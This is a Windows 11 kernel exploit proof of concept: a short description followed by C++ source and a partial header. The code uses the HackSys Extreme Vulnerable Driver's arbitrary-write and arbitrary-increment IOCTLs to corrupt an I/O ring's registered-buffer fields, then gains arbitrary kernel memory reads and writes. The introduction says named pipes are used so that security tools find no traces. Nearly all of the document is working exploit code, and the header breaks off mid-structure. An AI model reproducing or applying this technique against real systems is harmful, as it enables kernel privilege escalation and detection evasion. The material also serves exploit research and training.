This PoC uses an arbitrary overwrite of the RegBuffers field of an I/O ring to point to a fake array of preregistered buffers that can be manipulated by an attacker. The fake buffers can point to kernel addresses, so the attacker can queue read and write operations that generate arbitrary reads and writes. By using named pipes instead of a file we can avoid leaving any traces for security tools to recognize. Current implementation reads a page from the NTOS data section and prints it out. This is done using a hard-coded offset so it might break inthe future.
Source.cpp
C++:
#include <ntstatus.h>
#define WIN32_NO_STATUS
#include <Windows.h>
#include <cstdio>
#include <ioringapi.h>
#include <winternl.h>
#include <intrin.h>
#include "Header.h"
HRESULT
GetNtosBase (
_Out_ PVOID* Base,
_Out_ PULONG Size
)
{
NTSTATUS status;
PRTL_PROCESS_MODULES ModuleInfo;
HRESULT result;
ModuleInfo = nullptr;
*Base = 0;
*Size = 0;
//
// Allocate memory for the module list
//
ModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL,
1024 * 1024,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!ModuleInfo)
{
result = GetLastError();
printf("\nUnable to allocate memory for module list (%d)\n", result);
goto Exit;
}
status = NtQuerySystemInformation(SystemModuleInformation,
ModuleInfo,
1024 * 1024,
NULL);
if (!NT_SUCCESS(status))
{
printf("\nError: Unable to query module list (%#x)\n", status);
result = HRESULT_FROM_NT(status);
goto Exit;
}
printf("*****************************************************\n");
printf("Image base: %p\n", ModuleInfo->Modules[0].ImageBase);
printf("Image name: %s\n", ModuleInfo->Modules[0].FullPathName + ModuleInfo->Modules[0].OffsetToFileName);
printf("Image full path: %s\n", ModuleInfo->Modules[0].FullPathName);
printf("Image size: 0x%x\n", ModuleInfo->Modules[0].ImageSize);
printf("*****************************************************\n");
//
// First module is always ntos
//
*Base = ModuleInfo->Modules[0].ImageBase;
*Size = ModuleInfo->Modules[0].ImageSize;
result = S_OK;
Exit:
if (ModuleInfo != nullptr)
{
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
}
return result;
}
HRESULT
QueryIoringObject (
_In_ HANDLE Handle,
_Out_ PVOID* ObjectAddress
)
{
NTSTATUS status;
HRESULT hResult;
ULONG bytes;
ULONG i;
ULONG ioringTypeIndex;
SYSTEM_HANDLE_INFORMATION localInfo;
PSYSTEM_HANDLE_INFORMATION handleInfo = &localInfo;
struct
{
OBJECT_TYPE_INFORMATION TypeInfo;
WCHAR TypeNameBuffer[sizeof("IoRing")];
} typeInfoWithName;
hResult = S_OK;
*ObjectAddress = 0;
status = NtQueryObject(Handle,
ObjectTypeInformation,
&typeInfoWithName,
sizeof(typeInfoWithName),
NULL);
if (!NT_SUCCESS(status))
{
printf("NtQueryObject failed: 0x%x\n", status);
hResult = HRESULT_FROM_NT(status);
goto Failure;
}
ioringTypeIndex = typeInfoWithName.TypeInfo.TypeIndex;
status = NtQuerySystemInformation(SystemHandleInformation,
handleInfo,
sizeof(*handleInfo),
&bytes);
if (NT_SUCCESS(status))
{
printf("NtQuerySystemInformation failed: 0x%x\n", status);
hResult = ERROR_UNIDENTIFIED_ERROR;
goto Failure;
}
//
// Add space for 100 more handles and try again
//
bytes += 100 * sizeof(*handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
bytes);
status = NtQuerySystemInformation(SystemHandleInformation,
handleInfo,
bytes,
&bytes);
if (!NT_SUCCESS(status) || !handleInfo)
{
hResult = HRESULT_FROM_NT(status);
printf("NtQuerySystemInformation #2 failed: 0x%x\n", status);
goto Failure;
}
//
// Enumerate each one
//
for (i = 0; i < handleInfo->NumberOfHandles; i++)
{
//
// Check if this is the correct I/O ring handle
//
if ((handleInfo->Handles[i].ObjectTypeIndex == ioringTypeIndex) &&
(handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) &&
((HANDLE)handleInfo->Handles[i].HandleValue == Handle))
{
printf("Found I/O ring address: 0x%p\n", handleInfo->Handles[i].Object);
*ObjectAddress = handleInfo->Handles[i].Object;
break;
}
}
Failure:
//
// Free the handle list if we had one
//
if (handleInfo != &localInfo)
{
HeapFree(GetProcessHeap(), 0, handleInfo);
}
return hResult;
}
/*
Since this function is using arbitrary increment and not arbitrary write,
both FakeBuffers and FakeBuffersCount have to be values we can reach through
one arbitrary increment of any byte in those IoRing fields (1, 0x100, 0x10000...).
*/
HRESULT
HevdIncrementIoRingFields (
_In_ PIORING_OBJECT IoRing,
_In_ PVOID FakeBuffers,
_In_ ULONG FakeBuffersCount
)
{
ULONG byteOffsetFakeBuffers;
ULONG byteOffsetCount;
HRESULT result;
HANDLE hFile;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
ULONG BytesReturned;
ULONG64 incrementTarget;
hFile = NULL;
for (byteOffsetFakeBuffers = 0; byteOffsetFakeBuffers < 8; byteOffsetFakeBuffers++)
{
if (1 << ((ULONG64)byteOffsetFakeBuffers * 8) == (ULONG64)FakeBuffers)
{
break;
}
}
for (byteOffsetCount = 0; byteOffsetCount < 8; byteOffsetCount++)
{
if (1 << ((ULONG64)byteOffsetCount * 8) == (ULONG64)FakeBuffersCount)
{
break;
}
}
if ((byteOffsetFakeBuffers == 8) || (byteOffsetCount == 8))
{
printf("Invalid value of FakeBuffers or FakeBuffersCount: 0x%p, 0x%x",
FakeBuffers,
FakeBuffersCount);
}
//
// Get the device handle
//
printf("\t[+] Getting Device Driver Handle\n");
printf("\t\t[+] Device Name: %s\n", FileName);
hFile = CreateFileA(FileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
result = GetLastError();
printf("\t\t[-] Failed Getting Device Handle: 0x%X\n", result);
goto Exit;
}
else
{
printf("\t\t[+] Device Handle: 0x%X\n", hFile);
}
printf("\t[+] Setting Up Vulnerability Stage\n");
printf("\t[+] Triggering Arbitrary Increment\n");
printf("****************Kernel Mode****************\n");
incrementTarget = ((ULONG64)&IoRing->RegBuffers) + byteOffsetFakeBuffers;
if (!DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_INCREMENT,
&incrementTarget,
sizeof(PVOID),
NULL,
0,
&BytesReturned,
NULL))
{
result = GetLastError();
printf("Failed incrementing RegBuffers: 0x%x\n", result);
goto Exit;
}
incrementTarget = ((ULONG64)&IoRing->RegBuffersCount) + byteOffsetCount;
if (!DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_INCREMENT,
&incrementTarget,
sizeof(PVOID),
NULL,
0,
&BytesReturned,
NULL))
{
result = GetLastError();
printf("Failed incrementing RegBuffersCount: 0x%x\n", result);
goto Exit;
}
result = S_OK;
Exit:
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
}
return result;
}
HRESULT
HevdOverwriteIoRingFields (
_In_ PIORING_OBJECT IoRing,
_In_ PVOID FakeBuffers,
_In_ ULONG FakeBuffersCount
)
{
HRESULT result;
ULONG BytesReturned;
HANDLE hFile = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
PWRITE_WHAT_WHERE WriteWhatWhere = NULL;
//
// Get the device handle
//
printf("\t[+] Getting Device Driver Handle\n");
printf("\t\t[+] Device Name: %s\n", FileName);
hFile = CreateFileA(FileName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
result = GetLastError();
printf("\t\t[-] Failed Getting Device Handle: 0x%X\n", result);
goto Exit;
}
else
{
printf("\t\t[+] Device Handle: 0x%X\n", hFile);
}
printf("\t[+] Setting Up Vulnerability Stage\n");
printf("\t\t[+] Allocating Memory For WRITE_WHAT_WHERE Structure\n");
// Allocate the Heap chunk
WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE));
if (!WriteWhatWhere)
{
result = GetLastError();
printf("\t\t[-] Failed To Allocate Memory: 0x%X\n", result);
goto Exit;
}
else
{
printf("\t\t\t[+] Memory Allocated: 0x%p\n", WriteWhatWhere);
printf("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
}
//
// Set up and trigger arbitrary write to overwrite the ioring regbuffers
//
printf("\t\t[+] Preparing WRITE_WHAT_WHERE structure\n");
WriteWhatWhere->What = (PULONG_PTR)&FakeBuffers;
WriteWhatWhere->Where = (PULONG_PTR)&IoRing->RegBuffers;
printf("\t\t\t[+] WriteWhatWhere: 0x%p\n", WriteWhatWhere);
printf("\t\t\t[+] WriteWhatWhere->What: 0x%p\n", WriteWhatWhere->What);
printf("\t\t\t[+] WriteWhatWhere->Where: 0x%p\n", WriteWhatWhere->Where);
printf("\t[+] Triggering Arbitrary Memory Overwrite\n");
printf("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)WriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&BytesReturned,
NULL);
//
// Trigger arbitrary write again, this time to overwrite the number of registered buffers
//
WriteWhatWhere->What = (PULONG_PTR)&FakeBuffersCount;
WriteWhatWhere->Where = (PULONG_PTR)&IoRing->RegBuffersCount;
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)WriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&BytesReturned,
NULL);
result = S_OK;
Exit:
if (WriteWhatWhere != nullptr)
{
HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);
}
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
}
return result;
}
HRESULT
SetupBufferEntry (
_In_ BOOLEAN McBufferEntrySupported,
_In_ PVOID FakeBuffersArray,
_In_ ULONG NumberOfFakeBuffers,
_In_ PVOID TargetAddress,
_In_ ULONG Length,
_Out_ PULONG NewBufferIndex
)
{
PIOP_MC_BUFFER_ENTRY mcBufferEntry;
IORING_BUFFER_INFO* bufferEntry;
HRESULT result;
result = S_OK;
*NewBufferIndex = -1;
if (McBufferEntrySupported)
{
mcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL,
sizeof(IOP_MC_BUFFER_ENTRY),
MEM_COMMIT,
PAGE_READWRITE);
if (mcBufferEntry == nullptr)
{
result = GetLastError();
printf("Failed to allocate memory: 0x%x\n", result);
return result;
}
mcBufferEntry->Address = TargetAddress;
mcBufferEntry->Length = Length;
mcBufferEntry->Type = 0xc02;
mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)
mcBufferEntry->AccessMode = 1;
mcBufferEntry->ReferenceCount = 1;
//
// Find first unused entry and have it point to the new buffer entry
//
for (int i = 0; i < NumberOfFakeBuffers; i++)
{
if (((PULONG64)FakeBuffersArray)[i] == 0)
{
((PULONG64)FakeBuffersArray)[i] = (ULONG64)mcBufferEntry;
*NewBufferIndex = i;
break;
}
}
}
else
{
for (int i = 0; i < NumberOfFakeBuffers; i++)
{
bufferEntry = &((IORING_BUFFER_INFO*)FakeBuffersArray)[i];
if (bufferEntry->Address == 0)
{
bufferEntry->Address = TargetAddress;
bufferEntry->Length = Length;
*NewBufferIndex = i;
break;
}
}
}
if (*NewBufferIndex == -1)
{
printf("Buffer array is full, no more room for new entries\n");
result = S_FALSE;
}
return result;
}
HRESULT
IsMcBufferEntrySupported (
_Out_ PBOOLEAN McBufferEntrySupported
)
{
RTL_OSVERSIONINFOW versionInfo;
NTSTATUS status;
*McBufferEntrySupported = FALSE;
status = RtlGetVersion(&versionInfo);
if (status != STATUS_SUCCESS)
{
printf("Failed to call RtlGetVersion! Error 0x%x\n", status);
return HRESULT_FROM_NT(status);
}
if ((versionInfo.dwMajorVersion < 10) ||
(versionInfo.dwBuildNumber < 22557))
{
printf("Exploit only availbale starting Windows 11 build 22557\n");
return S_FALSE;
}
if (versionInfo.dwBuildNumber >= 22610)
{
*McBufferEntrySupported = TRUE;
}
return S_OK;
}
PVOID
AllocateFakeBuffersArray (
_In_ BOOLEAN McBufferArraySupported,
_In_ ULONG NumberOfFakeBuffers,
_In_opt_ PVOID AddressForArray
)
{
ULONG size;
PVOID fakeBuffers;
if (McBufferArraySupported)
{
//
// This will be an array of pointers
//
size = sizeof(ULONG64) * NumberOfFakeBuffers;
}
else
{
//
// This will be an array of IORING_BUFFER_INFOs
//
size = sizeof(IORING_BUFFER_INFO) * NumberOfFakeBuffers;
}
fakeBuffers = (PULONG64)VirtualAlloc(AddressForArray,
size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (fakeBuffers != nullptr)
{
memset(fakeBuffers, 0, size);
}
return fakeBuffers;
}
void
FreeFakeBuffers (
_In_ BOOLEAN McBufferEntrySupported,
_In_ PVOID FakeBuffers,
_In_ ULONG NumberOfFakeBuffers
)
{
if (McBufferEntrySupported)
{
//
// Free every allocated IOP_MC_BUFFER_ENTRY
//
for (int i = 0; i < NumberOfFakeBuffers; i++)
{
if (((PULONG64)FakeBuffers)[i] == 0)
{
break;
}
VirtualFree((PVOID)(((PULONG64)FakeBuffers)[i]), NULL, MEM_RELEASE);
}
}
VirtualFree(FakeBuffers, NULL, MEM_RELEASE);
}
void
ReadExploitFile (
_In_ HANDLE OutputFileHandle
)
{
PVOID buf;
DWORD bytesRead;
BOOL res;
buf = VirtualAlloc(NULL,
KERNEL_READ_SIZE,
MEM_COMMIT,
PAGE_READWRITE);
if (buf == nullptr)
{
goto Exit;
}
res = ReadFile(OutputFileHandle,
buf,
0x1000,
&bytesRead,
NULL);
if (res == FALSE)
{
printf("Failed reading file %d\n", GetLastError());
goto Exit;
}
for (int i = 0; i < bytesRead / 8; i++)
{
printf("%llx ", *((PULONG64)buf + i));
}
Exit:
if (buf != nullptr)
{
VirtualFree(buf, NULL, MEM_RELEASE);
}
}
HRESULT
ArbitraryReadWrite (
_In_ BOOLEAN Increment
)
{
HRESULT result;
HIORING handle = NULL;
_HIORING* pHandle = NULL;
IORING_CREATE_FLAGS flags;
IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(0);
IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromPointer(0);
UINT32 submittedEntries;
PVOID zeroBuf;
ULONG bytesWritten;
IORING_CQE cqe;
HANDLE outputClientPipe;
HANDLE inputClientPipe;
HANDLE inputPipe;
HANDLE outputPipe;
PVOID addressForFakeBuffers;
PULONG64 fake_buffers;
PIORING_OBJECT ioringAddress;
ULONG numberOfFakeBuffers;
ULONG64 zeroAddress;
BOOLEAN mcBufferArraySupported;
ULONG newBufferIndex;
PVOID ntosBase;
ULONG ntosSize;
fake_buffers = nullptr;
numberOfFakeBuffers = 0x100;
addressForFakeBuffers = NULL;
inputPipe = INVALID_HANDLE_VALUE;
outputPipe = INVALID_HANDLE_VALUE;
inputClientPipe = INVALID_HANDLE_VALUE;
outputClientPipe = INVALID_HANDLE_VALUE;
result = IsMcBufferEntrySupported(&mcBufferArraySupported);
if (!SUCCEEDED(result))
{
goto Exit;
}
//
// Create an I/O ring and get the object address
//
flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;
result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, &handle);
if (!SUCCEEDED(result))
{
printf("Failed creating IO ring handle: 0x%x\n", result);
goto Exit;
}
result = QueryIoringObject(*(PHANDLE)handle, (PVOID*)&ioringAddress);
if (!SUCCEEDED(result))
{
printf("Failed finding I/O ring object address: 0x%x\n", result);
goto Exit;
}
//
// Allocate and set up a fake buffers array.
// If we're using arbitrary increment, allocate at a fixed address that
// we can get through one increment.
//
if (Increment != FALSE)
{
addressForFakeBuffers = (PVOID)0x1000000;
}
fake_buffers = (PULONG64)AllocateFakeBuffersArray(mcBufferArraySupported,
numberOfFakeBuffers,
addressForFakeBuffers);
if (fake_buffers == nullptr)
{
result = GetLastError();
printf("Failed to allocate memory: 0x%x\n", result);
goto Exit;
}
//
// Use HEVD to overwrite IoRing->RegBuffers with fake_buffers
// and RegBuffersCount with numberOfFakeBuffers.
//
if (Increment != FALSE)
{
result = HevdIncrementIoRingFields(ioringAddress,
fake_buffers,
numberOfFakeBuffers);
}
else
{
result = HevdOverwriteIoRingFields(ioringAddress,
fake_buffers,
numberOfFakeBuffers);
}
if (result != S_OK)
{
printf("Failed overwriting I/O ring fields: 0x%x\n", result);
goto Exit;
}
//
// Create named pipes for the input/output of the I/O operations
// and open client handles for them
//
inputPipe = CreateNamedPipe(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if (inputPipe == INVALID_HANDLE_VALUE)
{
printf("Failed to create input pipe: 0x%x\n", GetLastError());
goto Exit;
}
outputPipe = CreateNamedPipe(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
if (outputPipe == INVALID_HANDLE_VALUE)
{
printf("Failed to create output pipe: 0x%x\n", GetLastError());
goto Exit;
}
outputClientPipe = CreateFile(OUTPUT_PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (outputClientPipe == INVALID_HANDLE_VALUE)
{
printf("Failed to open handle to output file: 0x%x\n", GetLastError());
goto Exit;
}
inputClientPipe = CreateFile(INPUT_PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (inputClientPipe == INVALID_HANDLE_VALUE)
{
printf("Failed to open handle to input pipe: 0x%x\n", GetLastError());
goto Exit;
}
//
// Write the new buffer to the kernelBase structure so we can use the
// fake buffers with the Win32 ioring functions
//
pHandle = *(_HIORING**)&handle;
pHandle->BufferArraySize = numberOfFakeBuffers;
pHandle->RegBufferArray = fake_buffers;
//
// Get base address and size of NTOS
//
result = GetNtosBase(&ntosBase, &ntosSize);
if (!SUCCEEDED(result))
{
printf("Failed finding NTOS base address: 0x%x\n", result);
goto Exit;
}
//
// Setup the buffer entry for our arbitrary kernel read
// 0xC00000 is the offset of the data section in NTOS, hardcoded due to laziness
// Use "write" operation to write data into the client handle of the pipe, that we'll
// later read from using the server's handle.
//
result = SetupBufferEntry(mcBufferArraySupported,
fake_buffers,
numberOfFakeBuffers,
(PVOID)((ULONG64)ntosBase + 0xC00000),
KERNEL_READ_SIZE,
&newBufferIndex);
requestDataBuffer = IoRingBufferRefFromIndexAndOffset(newBufferIndex, 0);
requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);
//
// Queue arbitrary read
//
printf("Reading kernel data...\n");
result = BuildIoRingWriteFile(handle,
requestDataFile,
requestDataBuffer,
KERNEL_READ_SIZE,
0,
FILE_WRITE_FLAGS_NONE,
NULL,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring read file structure: 0x%x\n", result);
goto Exit;
}
result = SubmitIoRing(handle, 0, 0, &submittedEntries);
if (!SUCCEEDED(result))
{
printf("Failed submitting IO ring: 0x%x\n", result);
goto Exit;
}
//
// Check the completion queue for the actual status code for the operation
//
result = PopIoRingCompletion(handle, &cqe);
if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))
{
printf("Failed reading kernel memory 0x%x\n", cqe.ResultCode);
goto Cleanup;
}
printf("Successfully read kernel data\n");
ReadExploitFile(outputPipe);
Cleanup:
//
// Queue a final I/O operation to zero out IoRing->RegBuffers.
// First, write 0 into the input pipe, so we can use it for our arbitrary write.
//
zeroBuf = 0;
if (WriteFile(inputPipe, &zeroBuf, sizeof(PVOID), &bytesWritten, NULL) == FALSE)
{
result = GetLastError();
printf("Failed to write into the input pipe: 0x%x\n", result);
goto Exit;
}
//
// Setup another buffer entry, with the address of ioring->RegBuffers as the target
// Use the client's handle of the input pipe for the read operation
//
result = SetupBufferEntry(mcBufferArraySupported,
fake_buffers,
numberOfFakeBuffers,
&ioringAddress->RegBuffers,
sizeof(PVOID),
&newBufferIndex);
requestDataBuffer = IoRingBufferRefFromIndexAndOffset(1, 0);
requestDataFile = IoRingHandleRefFromHandle(inputClientPipe);
result = BuildIoRingReadFile(handle,
requestDataFile,
requestDataBuffer,
sizeof(PVOID),
0,
NULL,
IOSQE_FLAGS_NONE);
if (!SUCCEEDED(result))
{
printf("Failed building IO ring read file structure: 0x%x\n", result);
goto Exit;
}
result = SubmitIoRing(handle, 0, 0, &submittedEntries);
if (!SUCCEEDED(result))
{
printf("Failed submitting IO ring: 0x%x\n", result);
goto Exit;
}
result = S_OK;
Exit:
if (outputPipe != INVALID_HANDLE_VALUE)
{
CloseHandle(outputPipe);
}
if (inputPipe != INVALID_HANDLE_VALUE)
{
CloseHandle(inputPipe);
}
if (outputClientPipe != INVALID_HANDLE_VALUE)
{
CloseHandle(outputClientPipe);
}
if (inputClientPipe != INVALID_HANDLE_VALUE)
{
CloseHandle(inputClientPipe);
}
if (fake_buffers != nullptr)
{
FreeFakeBuffers(mcBufferArraySupported, fake_buffers, numberOfFakeBuffers);
}
if (pHandle != NULL)
{
pHandle->BufferArraySize = 0;
pHandle->RegBufferArray = 0;
}
if (handle != NULL)
{
CloseIoRing(handle);
}
return result;
}
int main()
{
ArbitraryReadWrite(TRUE);
ExitProcess(0);
}
Header.h
C++:
#include <ntstatus.h>
#define WIN32_NO_STATUS
#include <Windows.h>
#include <cstdio>
#include <ioringapi.h>
#include <winternl.h>
#include <intrin.h>
#pragma once
#define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)11
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_INCREMENT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x81C, METHOD_NEITHER, FILE_ANY_ACCESS)
#define OUTPUT_PIPE_NAME L"\\\\.\\pipe\\IoRingExploitOutput"
#define INPUT_PIPE_NAME L"\\\\.\\pipe\\IoRingExploitInput"
#define KERNEL_READ_SIZE 0x1000
EXTERN_C_START
NTSYSAPI
NTSTATUS
RtlGetVersion (
_Out_ PRTL_OSVERSIONINFOW lpVersionInformation
);
EXTERN_C_END
typedef struct _DISPATCHER_HEADER
{
union
{
/* 0x0000 */ volatile long Lock;
/* 0x0000 */ long LockNV;
struct
{
/* 0x0000 */ unsigned char Type;
/* 0x0001 */ unsigned char Signalling;
/* 0x0002 */ unsigned char Size;
/* 0x0003 */ unsigned char Reserved1;
}; /* size: 0x0004 */
struct
{
/* 0x0000 */ unsigned char TimerType;
union
{
/* 0x0001 */ unsigned char TimerControlFlags;
struct
{
struct /* bitfield */
{
/* 0x0001 */ unsigned char Absolute : 1; /* bit position: 0 */
/* 0x0001 */ unsigned char Wake : 1; /* bit position: 1 */
/* 0x0001 */ unsigned char EncodedTolerableDelay : 6; /* bit position: 2 */
}; /* bitfield */
/* 0x0002 */ unsigned char Hand;
union
{
/* 0x0003 */ unsigned char TimerMiscFlags;
struct /* bitfield */
{
/* 0x0003 */ unsigned char Index : 6; /* bit position: 0 */
/* 0x0003 */ unsigned char Inserted : 1; /* bit position: 6 */
/* 0x0003 */ volatile unsigned char Expired : 1; /* bit position: 7 */
}; /* bitfield */
}; /* size: 0x0001 */
}; /* size: 0x0003 */
}; /* size: 0x0003 */
}; /* size: 0x0004 */
struct
{
/* 0x0000 */ unsigned char Timer2Type;
union
{
/* 0x0001 */ unsigned char Timer2Flags;
struct
{
struct /* bitfield */
{
/* 0x0001 */ unsigned char Timer2Inserted : 1; /* bit position: 0 */
/* 0x0001 */ unsigned char Timer2Expiring : 1; /* bit position: 1 */
/* 0x0001 */ unsigned char Timer2CancelPending : 1; /* bit position: 2 */
/* 0x0001 */ unsigned char Timer2SetPending : 1; /* bit position: 3 */
/* 0x0001 */ unsigned char Timer2Running : 1; /* bit position: 4 */
/* 0x0001 */ unsigned char Timer2Disabled : 1; /* bit position: 5 */
/* 0x0001 */ unsigned char Timer2ReservedFlags : 2; /* bit position: 6 */
}; /* bitfield */
/* 0x0002 */ unsigned char Timer2ComponentId;
/* 0x0003 */ unsigned char Timer2RelativeId;
}; /* size: 0x0003 */
}; /* size: 0x0003 */
}; /* size: 0x0004 */
struct
{
/* 0x0000 */ unsigned char QueueType;
union
{
/* 0x0001 */ unsigned char QueueControlFlags;
struct
{
struct /* bitfield */
{
/* 0x0001 */ unsigned char Abandoned : 1; /* bit position: 0 */
/* 0x0001 */ unsigned char DisableIncrement : 1; /* bit position: 1 */
/* 0x0001 */ unsigned char QueueReservedControlFlags : 6; /* bit position: 2 */
}; /* bitfield */
/* 0x0002 */ unsigned char QueueSize;
/* 0x0003 */ unsigned char QueueReserved;
}; /* size: 0x0003 */
}; /* size: 0x0003 */
}; /* size: 0x0004 */
struct
{
/* 0x0000 */ unsigned char ThreadType;
/* 0x0001 */ unsigned char ThreadReserved;
union
{
/* 0x0002 */ unsigned char ThreadControlFlags;
struct
{
struct /* bitfield */
{
/* 0x0002 */ unsigned char CycleProfiling : 1; /* bit position: 0 */
/* 0x0002 */ unsigned char CounterProfiling : 1; /* bit position: 1 */
/* 0x0002 */ unsigned char GroupScheduling : 1; /* bit position: 2 */
/* 0x0002 */ unsigned char AffinitySet : 1; /* bit position: 3 */
/* 0x0002 */ unsigned char Tagged : 1; /* bit position: 4 */
/* 0x0002 */ unsigned char EnergyProfiling : 1; /* bit position: 5 */
/* 0x0002 */ unsigned char SchedulerAssist : 1; /* bit position: 6 */
/* 0x0002 */ unsigned char ThreadReservedControlFlags : 1; /* bit position: 7 */
}; /* bitfield */
union
{
/* 0x0003 */ unsigned char DebugActive;
struct /* bitfield */
{
/* 0x0003 */ unsigned char ActiveDR7 : 1; /* bit position: 0 */
/* 0x0003 */ unsigned char Instrumented : 1; /* bit position: 1 */
/* 0x0003 */ unsigned char Minimal : 1; /* bit position: 2 */
/* 0x0003 */ unsigned char Reserved4 : 2; /* bit position: 3 */
/* 0x0003 */ unsigned char AltSyscall : 1; /* bit position: 5 */
/* 0x0003 */ unsigned char Emulation : 1; /* bit position: 6 */
/* 0x0003 */ unsigned char Reserved5 : 1; /* bit position: 7 */
}; /* bitfield */
}; /* size: 0x0001 */
}; /* size: 0x0002 */
}; /* size: 0x0002 */
}; /* size: 0x0004 */
struct
{
/* 0x0000 */ unsigned char MutantType;
/* 0x0001 */ unsigned char MutantSize;
/* 0x0002 */ unsigned char DpcActive;
/* 0x0003 */ unsigned char MutantReserved;
}; /* size: 0x0004 */
}; /* size: 0x0004 */
/* 0x0004 */ long SignalState;
/* 0x0008 */ struct _LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER; /* size: 0x0018 */
typedef struct _KEVENT
{
/* 0x0000 */ struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT; /* size: 0x0018 */
//
// IOP_MC_BUFFER_ENTRY used starting build 22610
//
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
_LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
struct _MDL* Mdl;
KEVENT MdlRundownEvent;
PULONG64 PfnArray;
BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
/* 0x0000 */ unsigned short UniqueProcessId;
/* 0x0002 */ unsigned short CreatorBackTraceIndex;
/* 0x0004 */ unsigned char ObjectTypeIndex;
/* 0x0005 */ unsigned char HandleAttributes;
/* 0x0006 */ unsigned short HandleValue;
/* 0x0008 */ void* Object;
/* 0x0010 */ unsigned long GrantedAccess;
/* 0x0014 */ long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; /* size: 0x0018 */
typedef struct _SYSTEM_HANDLE_INFORMATION
{
/* 0x0000 */ unsigned long NumberOfHandles;
